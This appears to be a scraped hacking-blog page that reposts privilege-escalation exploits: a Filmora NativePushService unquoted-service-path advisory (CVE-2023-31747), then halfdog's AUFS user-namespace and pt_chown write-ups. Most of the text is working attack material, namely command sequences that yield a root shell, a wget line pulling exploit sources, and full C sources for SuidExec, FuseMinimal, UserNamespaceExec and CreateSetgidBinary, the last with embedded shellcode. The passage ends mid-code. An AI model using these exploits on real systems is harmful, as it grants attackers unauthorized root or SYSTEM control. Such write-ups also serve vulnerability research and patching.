# Exploit Title: Filmora 12 version ( Build 1.0.0.7) - Unquoted Service Paths Privilege Escalation
# Date: 20 May 2023
# Exploit Author: Thurein Soe
# Vendor Homepage: https://filmora.wondershare.com
# Software Link: https://mega.nz/file/tQNGGZTQ#E1u20rdbT4R3pgSoUBG93IPAXqesJ5yyn6T8RlMFxaE
# Version: Filmora 12 ( Build 1.0.0.7)
# Tested on: Windows 10 (Version 10.0.19045.2965)
# CVE : CVE-2023-31747
Vulnerability description:
Filmora is a professional video editing software. Wondershare NativePush
Build 1.0.0.7 was part of Filmora 12 (Build 12.2.1.2088). Wondershare
NativePush Build 1.0.0.7 was installed while Filmora 12 was installed. The
service name "NativePushService" was vulnerable to unquoted service paths
vulnerability which led to full local privilege escalation in the affected
window operating system as the service "NativePushService" was running with
system privilege that the local user has write access to the directory
where the service is located. Effectively, the local user is able to
elevate to local admin upon successfully replacing the affected executable.
C:\sc qc NativePushService
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: NativePushService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME :
C:\Users\HninKayThayar\AppData\Local\Wondershare\Wondershare
NativePush\WsNativePushService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Wondershare Native Push Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
C:\cacls "C:\Users\HninKayThayar\AppData\Local\Wondershare\Wondershare
NativePush\WsNativePushService.exe"
C:\Users\HninKayThayar\AppData\Local\Wondershare\Wondershare
NativePush\WsNativePushService.exe
BUILTIN\Users:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Administrators:(ID)F
HNINKAYTHAYAR\HninKayThayar:(ID)F
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863164561
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
Source: http://www.halfdog.net/Security/2016/AufsPrivilegeEscalationInUserNamespaces/
## Introduction
Problem description: Aufs is a union filesystem to mix content of different underlying filesystems, e.g. read-only medium with r/w RAM-fs. That is also allowed in user namespaces when module was loaded with allow_userns option. Due to different bugs, aufs in a crafted USERNS allows privilege escalation, which is a problem on systems enabling unprivileged USERNS by default, e.g. Ubuntu Wily. All the issues mentioned here were discovered after performing similar analysis on overlayfs, another USERNS enabled union filesystem.
For a system to be exposed, unprivileged USERNS has to be available and AUFS support enabled for it by loading the aufs module with the appropriate option: modprobe aufs allow_userns.
## AUFS Over Fuse: Loss of Nosuid
Method: Fuse filesystem can be mounted by unprivileged users with the help of the fusermount SUID program. Fuse then can simulate files of any type, mode, UID but they are only visible to the user mounting the filesystem and lose all SUID properties. Those files can be exposed using aufs including the problematic SUID properties. The basic exploitation sequence is:
- Mount fuse filesystem exposing crafted SUID binary
- Create USERNS
- Mount aufs on top of fuse
- Execute the SUID binary via aufs from outside the namespace
The issue can then be demonstrated using:
SuidExec (http://www.halfdog.net/Misc/Utils/SuidExec.c)
FuseMinimal (http://www.halfdog.net/Security/2016/AufsPrivilegeEscalationInUserNamespaces/FuseMinimal.c)
UserNamespaceExec (http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c)
test$ mkdir fuse mnt work
test$ mv SuidExec RealFile
test$ ./FuseMinimal fuse
test$ ./UserNamespaceExec -- /bin/bash
root$ mount -t aufs -o br=work:fuse none mnt
root$ cd mnt
# Now cwd of the former process is within the aufs mount. Use
# another shell to complete.
test$ /proc/2390/cwd/file /bin/bash
root$ id
uid=0(root) gid=100(users) groups=100(users)
# Go back to old shell for cleanup.
root$ cd ..; umount mnt; exit
test$ fusermount -u fuse
Discussion: In my opinion, fuse filesystem allowed pretending to have files with different UIDs/GIDs in the local mount namespace, but they never had those properties, those files would have, when really stored on local disk. So e.g., the SUID binaries lost their SUID-properties and the owner could also modify arbitrary file content, even if file attributes were pretending, that he does not have access - by having control over the fuse process simulating the filesystem, such access control is futile. That is also the reason, why no other user than the one mounting the filesystem may have rights to access it by default.
In my optionion the workarounds should be to restrict access to fuse also only to the mount namespace where it was created.
## AUFS Xattr Setgid Privilege Escalation
Method: Due to inheritance of Posix ACL information (xattrs) when aufs is copying files and not cleaning those additional and unintended ACL attribues, SGID directories may become user writable, thus allowing to gain privileges of this group using methods described in SetgidDirectoryPrivilegeEscalation (http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/). Suitable target directories can be easily found using find / -perm -02020 2> /dev/null. On standard Ubuntu system those are:
/usr/local/lib/python3.4 (root.staff)
/var/lib/libuuid (libuuid.libuuid)
/var/local (root.staff)
/var/mail (root.mail)
Exploitation can be done just combining standard tools with the SetgidDirectoryPrivilegeEscalation (http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/) exploit.
test$ wget -q http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c http://www.halfdog.net/Misc/Utils/SuidExec.c
test$ gcc -o CreateSetgidBinary CreateSetgidBinary.c
test$ gcc -o UserNamespaceExec UserNamespaceExec.c
test$ gcc -o SuidExec SuidExec.c
test$ mkdir mnt test
test$ setfacl -m "d:u:$(id -u):rwx" test
test$ ./UserNamespaceExec -- /bin/bash
root$ mount -t aufs -o br=test:/var none mnt
root$ chmod 07777 mnt/mail
root$ umount mnt; exit
test$ ./CreateSetgidBinary test/mail/escalate /bin/mount x nonexistent-arg
test$ test/mail/escalate ./SuidExec /usr/bin/id
uid=1000(test) gid=8(mail) groups=8(mail),100(users)
On Ubuntu, exploitation allows interference with mail spool and allows to gain privileges of other python processes using python dist-packages owned by user root.staff. If root user calls a python process in that way, e.g. via apport crash dump tool, local root escalation is completed.
According to this post (http://www.openwall.com/lists/oss-security/2016/01/16/7), directories or binaries owned by group staff are in the default PATH of the root user, hence local root escalation is trivial.
--- SuidExec.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2015 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* This tool changes to uid/gid 0 and executes the program supplied
* via arguments.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
extern char **environ;
int main(int argc, char **argv) {
if(argc<2) {
fprintf(stderr, "Usage: %s [execargs]\n", argv[0]);
return(1);
}
int rUid, eUid, sUid, rGid, eGid, sGid;
getresuid(&rUid, &eUid, &sUid);
getresgid(&rGid, &eGid, &sGid);
if(setresuid(sUid, sUid, rUid)) {
fprintf(stderr, "Failed to set uids\n");
return(1);
}
if(setresgid(sGid, sGid, rGid)) {
fprintf(stderr, "Failed to set gids\n");
return(1);
}
execve(argv[1], argv+1, environ);
return(1);
}
--- EOF ---
--- FuseMinimal.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2016 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* Minimal userspace file system demo, compile using
* gcc -D_FILE_OFFSET_BITS=64 -Wall FuseMinimal.c -o FuseMinimal -lfuse
*
* See also /usr/include/fuse/fuse.h
*/
#define FUSE_USE_VERSION 28
#include <errno.h>
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
static FILE *logFile;
static char *fileNameNormal="/file";
static char *fileNameCharDev="/chardev";
static char *fileNameNormalSubFile="/dir/file";
static char *realFileName="./RealFile";
static int realFileHandle=-1;
static int io_getattr(const char *path, struct stat *stbuf) {
fprintf(logFile, "io_getattr(path=\"%s\", stbuf=0x%p)\n",
path, stbuf);
fflush(logFile);
int res=-ENOENT;
memset(stbuf, 0, sizeof(struct stat));
if(strcmp(path, "/") == 0) {
stbuf->st_mode=S_IFDIR|0755;
stbuf->st_nlink=2;
res=0;
} else if(strcmp(path, fileNameCharDev)==0) {
// stbuf->st_dev=makedev(5, 2);
stbuf->st_mode=S_IFCHR|0777;
stbuf->st_rdev=makedev(5, 2);
stbuf->st_nlink=1; // Number of hard links
stbuf->st_size=100;
res=0;
} else if(strcmp(path, "/dir")==0) {
stbuf->st_mode=S_IFDIR|S_ISGID|0777;
stbuf->st_nlink=1; // Number of hard links
stbuf->st_size=1<<12;
res=0;
} else if((!strcmp(path, fileNameNormal))||(!strcmp(path, fileNameNormalSubFile))) {
stbuf->st_mode=S_ISUID|S_IFREG|0777;
stbuf->st_size=100;
if(realFileName) {
if(fstat(realFileHandle, stbuf)) {
fprintf(logFile, "Stat of %s failed, error %d (%s)\n",
realFileName, errno, strerror(errno));
} else {
// Just change uid/suid, which is far more interesting during testing
stbuf->st_mode|=S_ISUID;
stbuf->st_uid=0;
stbuf->st_gid=0;
}
} else {
stbuf->st_mode=S_ISUID|S_IFREG|0777;
stbuf->st_size=100;
}
stbuf->st_nlink=1; // Number of hard links
res=0;
}
return(res);
}
static int io_readlink(const char *path, char *buffer, size_t length) {
fprintf(logFile, "io_readlink(path=\"%s\", buffer=0x%p, length=0x%lx)\n",
path, buffer, (long)length);
fflush(logFile);
return(-1);
}
static int io_unlink(const char *path) {
fprintf(logFile, "io_unlink(path=\"%s\")\n", path);
fflush(logFile);
return(0);
}
static int io_rename(const char *oldPath, const char *newPath) {
fprintf(logFile, "io_rename(oldPath=\"%s\", newPath=\"%s\")\n",
oldPath, newPath);
fflush(logFile);
return(0);
}
static int io_chmod(const char *path, mode_t mode) {
fprintf(logFile, "io_chmod(path=\"%s\", mode=0x%x)\n", path, mode);
fflush(logFile);
return(0);
}
static int io_chown(const char *path, uid_t uid, gid_t gid) {
fprintf(logFile, "io_chown(path=\"%s\", uid=%d, gid=%d)\n", path, uid, gid);
fflush(logFile);
return(0);
}
/** Open a file. This function checks access permissions and may
* associate a file info structure for future access.
* @returns 0 when open OK
*/
static int io_open(const char *path, struct fuse_file_info *fi) {
fprintf(logFile, "io_open(path=\"%s\", fi=0x%p)\n", path, fi);
fflush(logFile);
return(0);
}
static int io_read(const char *path, char *buffer, size_t length,
off_t offset, struct fuse_file_info *fi) {
fprintf(logFile, "io_read(path=\"%s\", buffer=0x%p, length=0x%lx, offset=0x%lx, fi=0x%p)\n",
path, buffer, (long)length, (long)offset, fi);
fflush(logFile);
if(length<0) return(-1);
if((!strcmp(path, fileNameNormal))||(!strcmp(path, fileNameNormalSubFile))) {
if(!realFileName) {
if((offset<0)||(offset>4)) return(-1);
if(offset+length>4) length=4-offset;
if(length>0) memcpy(buffer, "xxxx", length);
return(length);
}
if(lseek(realFileHandle, offset, SEEK_SET)==(off_t)-1) {
fprintf(stderr, "read: seek on %s failed\n", path);
return(-1);
}
return(read(realFileHandle, buffer, length));
}
return(-1);
}
static int io_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
off_t offset, struct fuse_file_info *fi) {
fprintf(logFile, "io_readdir(path=\"%s\", buf=0x%p, filler=0x%p, offset=0x%lx, fi=0x%p)\n",
path, buf, filler, ((long)offset), fi);
fflush(logFile);
(void) offset;
(void) fi;
if(!strcmp(path, "/")) {
filler(buf, ".", NULL, 0);
filler(buf, "..", NULL, 0);
filler(buf, fileNameCharDev+1, NULL, 0);
filler(buf, "dir", NULL, 0);
filler(buf, fileNameNormal+1, NULL, 0);
return(0);
} else if(!strcmp(path, "/dir")) {
filler(buf, ".", NULL, 0);
filler(buf, "..", NULL, 0);
filler(buf, "file", NULL, 0);
return(0);
}
return -ENOENT;
}
static int io_access(const char *path, int mode) {
fprintf(logFile, "io_access(path=\"%s\", mode=0x%x)\n",
path, mode);
fflush(logFile);
return(0);
}
static int io_ioctl(const char *path, int cmd, void *arg,
struct fuse_file_info *fi, unsigned int flags, void *data) {
fprintf(logFile, "io_ioctl(path=\"%s\", cmd=0x%x, arg=0x%p, fi=0x%p, flags=0x%x, data=0x%p)\n",
path, cmd, arg, fi, flags, data);
fflush(logFile);
return(0);
}
static struct fuse_operations hello_oper = {
.getattr = io_getattr,
.readlink = io_readlink,
// .getdir = deprecated
// .mknod
// .mkdir
.unlink = io_unlink,
// .rmdir
// .symlink
.rename = io_rename,
// .link
.chmod = io_chmod,
.chown = io_chown,
// .truncate
// .utime
.open = io_open,
.read = io_read,
// .write
// .statfs
// .flush
// .release
// .fsync
// .setxattr
// .getxattr
// .listxattr
// .removexattr
// .opendir
.readdir = io_readdir,
// .releasedir
// .fsyncdir
// .init
// .destroy
.access = io_access,
// .create
// .ftruncate
// .fgetattr
// .lock
// .utimens
// .bmap
.ioctl = io_ioctl,
// .poll
};
int main(int argc, char *argv[]) {
char buffer[128];
realFileHandle=open(realFileName, O_RDWR);
if(realFileHandle<0) {
fprintf(stderr, "Failed to open %s\n", realFileName);
exit(1);
}
snprintf(buffer, sizeof(buffer), "FuseMinimal-%d.log", getpid());
logFile=fopen(buffer, "a");
if(!logFile) {
fprintf(stderr, "Failed to open log: %s\n", (char*)strerror(errno));
return(1);
}
fprintf(logFile, "Starting fuse init\n");
fflush(logFile);
return fuse_main(argc, argv, &hello_oper, NULL);
}
--- EOF ---
--- UserNamespaceExec.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2015-2016 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* This tool creates a new namespace, initialize the uid/gid
* map and execute the program given as argument. This is similar
* to unshare(1) from newer util-linux packages.
*
* gcc -o UserNamespaceExec UserNamespaceExec.c
*
* Usage: UserNamespaceExec [options] -- [program] [args]
*
* * --NoSetGroups: do not disable group chanages
* * --NoSetGidMap:
* * --NoSetUidMap:
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>
extern char **environ;
static int childFunc(void *arg) {
int parentPid=getppid();
fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
while((geteuid()!=0)&&(parentPid==getppid())) {
sleep(1);
}
fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
int result=execve(((char**)arg)[0], (char**)arg, environ);
fprintf(stderr, "Exec failed\n");
return(1);
}
#define STACK_SIZE (1024 * 1024)
static char child_stack[STACK_SIZE];
int main(int argc, char *argv[]) {
int argPos;
int noSetGroupsFlag=0;
int setGidMapFlag=1;
int setUidMapFlag=1;
int result;
for(argPos=1; argPos<argc; argPos++) {
char *argName=argv[argPos];
if(!strcmp(argName, "--")) {
argPos++;
break;
}
if(strncmp(argName, "--", 2)) {
break;
}
if(!strcmp(argName, "--NoSetGidMap")) {
setGidMapFlag=0;
continue;
}
if(!strcmp(argName, "--NoSetGroups")) {
noSetGroupsFlag=1;
continue;
}
if(!strcmp(argName, "--NoSetUidMap")) {
setUidMapFlag=0;
continue;
}
fprintf(stderr, "%s: unknown argument %s\n", argv[0], argName);
exit(1);
}
// Create child; child commences execution in childFunc()
// CLONE_NEWNS: new mount namespace
// CLONE_NEWPID
// CLONE_NEWUTS
pid_t pid=clone(childFunc, child_stack+STACK_SIZE,
CLONE_NEWUSER|CLONE_NEWIPC|CLONE_NEWNET|CLONE_NEWNS|SIGCHLD, argv+argPos);
if(pid==-1) {
fprintf(stderr, "Clone failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
char idMapFileName[128];
char idMapData[128];
if(!noSetGroupsFlag) {
sprintf(idMapFileName, "/proc/%d/setgroups", pid);
int setGroupsFd=open(idMapFileName, O_WRONLY);
if(setGroupsFd<0) {
fprintf(stderr, "Failed to open setgroups\n");
return(1);
}
result=write(setGroupsFd, "deny", 4);
if(result<0) {
fprintf(stderr, "Failed to disable setgroups\n");
return(1);
}
close(setGroupsFd);
}
if(setUidMapFlag) {
sprintf(idMapFileName, "/proc/%d/uid_map", pid);
fprintf(stderr, "Setting uid map in %s\n", idMapFileName);
int uidMapFd=open(idMapFileName, O_WRONLY);
if(uidMapFd<0) {
fprintf(stderr, "Failed to open uid map\n");
return(1);
}
sprintf(idMapData, "0 %d 1\n", getuid());
result=write(uidMapFd, idMapData, strlen(idMapData));
if(result<0) {
fprintf(stderr, "UID map write failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
close(uidMapFd);
}
if(setGidMapFlag) {
sprintf(idMapFileName, "/proc/%d/gid_map", pid);
fprintf(stderr, "Setting gid map in %s\n", idMapFileName);
int gidMapFd=open(idMapFileName, O_WRONLY);
if(gidMapFd<0) {
fprintf(stderr, "Failed to open gid map\n");
return(1);
}
sprintf(idMapData, "0 %d 1\n", getgid());
result=write(gidMapFd, idMapData, strlen(idMapData));
if(result<0) {
if(noSetGroupsFlag) {
fprintf(stderr, "Expected failed GID map write due to enabled group set flag: %d (%s)\n", errno, strerror(errno));
} else {
fprintf(stderr, "GID map write failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
}
close(gidMapFd);
}
if(waitpid(pid, NULL, 0)==-1) {
fprintf(stderr, "Wait failed\n");
return(1);
}
return(0);
}
--- EOF ---
--- CreateSetgidBinary.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* This tool allows to create a setgid binary in appropriate directory
* to escalate to the group of this directory.
*
* Compile: gcc -o CreateSetgidBinary CreateSetgidBinary.c
*
* Usage: CreateSetgidBinary [targetfile] [suid-binary] [placeholder] [args]
*
* Example:
*
* # ./CreateSetgidBinary ./escalate /bin/mount x nonexistent-arg
* # ls -al ./escalate
* # ./escalate /bin/sh
*
* Copyright (c) 2015-2017 halfdog <me (%) halfdog.net>
* License: https://www.gnu.org/licenses/lgpl-3.0.en.html
*
* See http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/ for more information.
*/
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/resource.h>
#include <unistd.h>
#include <sys/wait.h>
int main(int argc, char **argv) {
// No slashes allowed, everything else is OK.
char suidExecMinimalElf[] = {
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
0x80, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0xf8, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x02, 0x00, 0x28, 0x00,
0x05, 0x00, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xa2, 0x00, 0x00, 0x00,
0xa2, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00, 0x00, 0xa4, 0x90, 0x04, 0x08,
0xa4, 0x90, 0x04, 0x08, 0x09, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00,
0x06, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x89, 0xc8,
0x89, 0xd0, 0x89, 0xd8, 0x04, 0xd2, 0xcd, 0x80, 0x31, 0xc0, 0x89, 0xd0,
0xb0, 0x0b, 0x89, 0xe1, 0x83, 0xc1, 0x08, 0x8b, 0x19, 0xcd, 0x80
};
int destFd=open(argv[1], O_RDWR|O_CREAT, 07777);
if(destFd<0) {
fprintf(stderr, "Failed to open %s, error %s\n", argv[1], strerror(errno));
return(1);
}
char *suidWriteNext=suidExecMinimalElf;
char *suidWriteEnd=suidExecMinimalElf+sizeof(suidExecMinimalElf);
while(suidWriteNext!=suidWriteEnd) {
char *suidWriteTestPos=suidWriteNext;
while((!*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
suidWriteTestPos++;
// We cannot write any 0-bytes. So let seek fill up the file wihh
// null-bytes for us.
lseek(destFd, suidWriteTestPos-suidExecMinimalElf, SEEK_SET);
suidWriteNext=suidWriteTestPos;
while((*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
suidWriteTestPos++;
int result=fork();
if(!result) {
struct rlimit limits;
// We can't truncate, that would remove the setgid property of
// the file. So make sure the SUID binary does not write too much.
limits.rlim_cur=suidWriteTestPos-suidExecMinimalElf;
limits.rlim_max=limits.rlim_cur;
setrlimit(RLIMIT_FSIZE, &limits);
// Do not rely on some SUID binary to print out the unmodified
// program name, some OSes might have hardening against that.
// Let the ld-loader will do that for us.
limits.rlim_cur=1<<22;
limits.rlim_max=limits.rlim_cur;
result=setrlimit(RLIMIT_AS, &limits);
dup2(destFd, 1);
dup2(destFd, 2);
argv[3]=suidWriteNext;
execve(argv[2], argv+3, NULL);
fprintf(stderr, "Exec failed\n");
return(1);
}
waitpid(result, NULL, 0);
suidWriteNext=suidWriteTestPos;
// ftruncate(destFd, suidWriteTestPos-suidExecMinimalElf);
}
fprintf(stderr, "Completed\n");
return(0);
}
--- EOF ---
Source: http://www.halfdog.net/Security/2015/PtChownArbitraryPtsAccessViaUserNamespace/
## Introduction
Problem description: With Ubuntu Wily and earlier, /usr/lib/pt_chown was used to change ownership of slave pts devices in /dev/pts to the same uid holding the master file descriptor for the slave. This is done using the pt_chown SUID binary, which invokes the ptsname function on the master-fd, thus again performing a TIOCGPTN ioctl to get the slave pts number. Using the result from the ioctl, the pathname of the slave pts is constructed and chown invoked on it, see login/programs/pt_chown.c:
pty = ptsname (PTY_FILENO);
if (pty == NULL)
...
/* Get the group ID of the special `tty' group. */
p = getgrnam (TTY_GROUP);
gid = p ? p->gr_gid : getgid ();
/* Set the owner to the real user ID, and the group to that special
group ID. */
if (chown (pty, getuid (), gid) < 0)
return FAIL_EACCES;
/* Set the permission mode to readable and writable by the owner,
and writable by the group. */
if ((st.st_mode & ACCESSPERMS) != (S_IRUSR|S_IWUSR|S_IWGRP)
&& chmod (pty, S_IRUSR|S_IWUSR|S_IWGRP) < 0)
return FAIL_EACCES;
return 0;
The logic above is severely flawed, when there can be more than one master/slave pair having the same number and thus same name. But this condition can be easily created by creating an user namespace, mounting devpts with the newinstance option, create master and slave pts pairs until the number overlaps with a target pts outside the namespace on the host, where there is interest to gain ownership and then
## Methods
Exploitation is trivial: At first use any user namespace demo to create the namespace needed, e.g. UserNamespaceExec.c (http://www.halfdog.net/Misc/Utils/UserNamespaceExec.c) and work with standard shell commands, e.g. to take over /dev/pts/0:
test# who am I
test pts/1 2015-12-27 12:00
test# ./UserNamespacesExec -- /bin/bash
Setting uid map in /proc/5783/uid_map
Setting gid map in /proc/5783/gid_map
euid: 0, egid: 0
euid: 0, egid: 0
root# mkdir mnt
root# mount -t devpts -o newinstance /dev/pts mnt
root# cd mnt
root# chmod 0666 ptmx
Use a second shell to continue:
test# cd /proc/5783/cwd
test# ls -al
total 4
drwxr-xr-x 2 root root 0 Dec 27 12:48 .
drwxr-xr-x 7 test users 4096 Dec 27 11:57 ..
c--------- 1 test users 5, 2 Dec 27 12:48 ptmx
test# exec 3<>ptmx
test# ls -al
total 4
drwxr-xr-x 2 root root 0 Dec 27 12:48 .
drwxr-xr-x 7 test users 4096 Dec 27 11:57 ..
crw------- 1 test users 136, 0 Dec 27 12:53 0
crw-rw-rw- 1 test users 5, 2 Dec 27 12:48 ptmx
test# ls -al /dev/pts/0
crw--w---- 1 root tty 136, 1 Dec 27 2015 /dev/pts/0
test# /usr/lib/pt_chown
test# ls -al /dev/pts/0
crw--w---- 1 test tty 136, 1 Dec 27 12:50 /dev/pts/0
On systems where the TIOCSTI-ioctl is not prohibited, the tools from TtyPushbackPrivilegeEscalation (http://www.halfdog.net/Security/2012/TtyPushbackPrivilegeEscalation/) to directly inject code into a shell using the pts device. This is not the case at least on Ubuntu Wily. But as reading and writing to the pts is allowed, the malicious user can not intercept all keystrokes and display faked output from commands never really executed. Thus he could lure the user into a) change his password or attempt to invoke su/sudo or b) simulate a situation, where user's next step is predictable and risky and then stop reading the pts, thus making user to execute a command in completely unexpected way.
--- UserNamespaceExec.c ---
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* Copyright (c) 2015-2016 halfdog <me (%) halfdog.net>
* See http://www.halfdog.net/Misc/Utils/ for more information.
*
* This tool creates a new namespace, initialize the uid/gid
* map and execute the program given as argument. This is similar
* to unshare(1) from newer util-linux packages.
*
* gcc -o UserNamespaceExec UserNamespaceExec.c
*
* Usage: UserNamespaceExec [options] -- [program] [args]
*
* * --NoSetGroups: do not disable group chanages
* * --NoSetGidMap:
* * --NoSetUidMap:
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>
extern char **environ;
static int childFunc(void *arg) {
int parentPid=getppid();
fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
while((geteuid()!=0)&&(parentPid==getppid())) {
sleep(1);
}
fprintf(stderr, "euid: %d, egid: %d\n", geteuid(), getegid());
int result=execve(((char**)arg)[0], (char**)arg, environ);
fprintf(stderr, "Exec failed\n");
return(1);
}
#define STACK_SIZE (1024 * 1024)
static char child_stack[STACK_SIZE];
int main(int argc, char *argv[]) {
int argPos;
int noSetGroupsFlag=0;
int setGidMapFlag=1;
int setUidMapFlag=1;
int result;
for(argPos=1; argPos<argc; argPos++) {
char *argName=argv[argPos];
if(!strcmp(argName, "--")) {
argPos++;
break;
}
if(strncmp(argName, "--", 2)) {
break;
}
if(!strcmp(argName, "--NoSetGidMap")) {
setGidMapFlag=0;
continue;
}
if(!strcmp(argName, "--NoSetGroups")) {
noSetGroupsFlag=1;
continue;
}
if(!strcmp(argName, "--NoSetUidMap")) {
setUidMapFlag=0;
continue;
}
fprintf(stderr, "%s: unknown argument %s\n", argv[0], argName);
exit(1);
}
// Create child; child commences execution in childFunc()
// CLONE_NEWNS: new mount namespace
// CLONE_NEWPID
// CLONE_NEWUTS
pid_t pid=clone(childFunc, child_stack+STACK_SIZE,
CLONE_NEWUSER|CLONE_NEWIPC|CLONE_NEWNET|CLONE_NEWNS|SIGCHLD, argv+argPos);
if(pid==-1) {
fprintf(stderr, "Clone failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
char idMapFileName[128];
char idMapData[128];
if(!noSetGroupsFlag) {
sprintf(idMapFileName, "/proc/%d/setgroups", pid);
int setGroupsFd=open(idMapFileName, O_WRONLY);
if(setGroupsFd<0) {
fprintf(stderr, "Failed to open setgroups\n");
return(1);
}
result=write(setGroupsFd, "deny", 4);
if(result<0) {
fprintf(stderr, "Failed to disable setgroups\n");
return(1);
}
close(setGroupsFd);
}
if(setUidMapFlag) {
sprintf(idMapFileName, "/proc/%d/uid_map", pid);
fprintf(stderr, "Setting uid map in %s\n", idMapFileName);
int uidMapFd=open(idMapFileName, O_WRONLY);
if(uidMapFd<0) {
fprintf(stderr, "Failed to open uid map\n");
return(1);
}
sprintf(idMapData, "0 %d 1\n", getuid());
result=write(uidMapFd, idMapData, strlen(idMapData));
if(result<0) {
fprintf(stderr, "UID map write failed: %d (%s)\n", errno, strerror(errno));
return(1);
}
close(uidMapFd);
}
if(setGidMapFlag) {
sprintf(idMapFileName, "/proc/%d/gid_map", pid);
fprintf(stderr, "Setting gid map in %s\n", idMapFileName);
int gidMapFd=open(idMapFileName, O_WRONLY);
if(gidMapFd<0) {
fprintf(stderr, "Failed to open gid map\n");
return(1);
}
sprintf(idMapData, "0 %d 1\n", getgid());
